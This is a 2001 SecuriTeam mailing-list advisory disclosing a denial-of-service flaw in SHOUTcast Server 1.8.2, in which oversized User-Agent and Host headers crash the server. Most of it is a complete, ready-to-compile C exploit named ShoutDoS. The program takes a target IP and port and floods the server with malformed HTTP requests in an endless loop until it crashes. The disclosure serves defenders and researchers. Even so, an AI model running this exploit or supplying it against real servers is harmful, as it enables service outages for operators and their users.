[EXPL] Denial of Service Vulnerability in SHOUTcast Server (User Agent, Host)

From: support@securiteam.com
Date: 08/05/01

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From: support@securiteam.com
To: list@securiteam.com
Subject: [EXPL] Denial of Service Vulnerability in SHOUTcast Server (User Agent, Host)
Message-Id: <20010805194054.83C5D13903@mail.der-keiler.de>
Date: Sun,  5 Aug 2001 21:40:54 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com

Denial of Service Vulnerability in SHOUTcast Server (User Agent, Host)
------------------------------------------------------------------------

SUMMARY

<http://www.shoutcast.com> SHOUTcast is a Winamp-based distributed
streaming audio system by Nullsoft. This product contains a security
vulnerability that allows attackers to cause the server to crash by
sending it long fields inside an HTTP request.

DETAILS

Vulnerable systems:
* SHOUTcast Server version 1.8.2 (Linux, Win32)

A security vulnerability in the SHOUTcast Server allows attackers to cause
it to crash when the server receives, approximately seven very long
User-Agent field (4KB) requests in the client HTTP connection request.

Exploit:
/*
* ShoutDoS: Remote Denial of Service SHOUTcast Server
*
* ShoutDoS (C) 2001 FraMe <frame@hispalab.com>
*
* Tested:
* SHOUTcast Server 1.8.2 Linux
* SHOUTcast Server 1.8.2 Win32
*
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/errno.h>

void msg(void) {
printf("ShoutDoS: Remote Denial of Service SHOUTcast Server\n");
printf("ShoutDoS (C) 2001 FraMe <frame@hispalab.com>\n");
}

int main(int argc,char **argv) {

    int s,n=0,c;
    struct sockaddr_in sa;
    struct hostent *SHOUTserver;

    char buffer[]="GET / HTTP/1.0\r\nUser-Agent:
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofServiceSHOUTcastDenialofService\
SHOUTcastDenialofService\r\nHost:\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now.\
your.server.go.crash.now.your.server.go.crash.now\
\r\nAuthorization: Basic\r\n\r\n";
    char rbuff[512];

    if ( argc != 3 ) {
  msg();
  printf("Usage: %s ip port\n",*argv);
  exit(1);
    }

    if ((SHOUTserver = gethostbyname(argv[1])) == NULL) {
  msg();
  printf("Error: gethostbyname()\n");
  exit(1);
    }

    memcpy(&sa.sin_addr.s_addr,SHOUTserver->h_addr,SHOUTserver->h_length);
    sa.sin_family = AF_INET;
    sa.sin_port = htons(atoi(argv[2]));

    if ((s=socket(PF_INET,SOCK_STREAM,0)) < 0 ) {
      msg();
      printf("Error: socket()\n");
      exit(1);
  }

    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
      msg();
      printf("Error: connect()\n");
      exit (1);
  }

    close(s);
    msg();
    printf("Connect. The host appears be up...\n");
    printf("Doing DoS ");

DoS:

  if ((s=socket(PF_INET,SOCK_STREAM,0)) < 0 ) {
      printf(" Error!\n");
      exit(1);
  }

  if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
      printf(" Server Crash!\n");
      exit (1);
  }

  write(s,buffer,sizeof(buffer)-1);
  read(s,rbuff,sizeof(rbuff));
  close(s);
  printf(".");

goto DoS; // Basic Power :)
}

/* EOF */

ADDITIONAL INFORMATION

The information has been provided by <mailto:frame@hispalab.com> FraMe.

========================================

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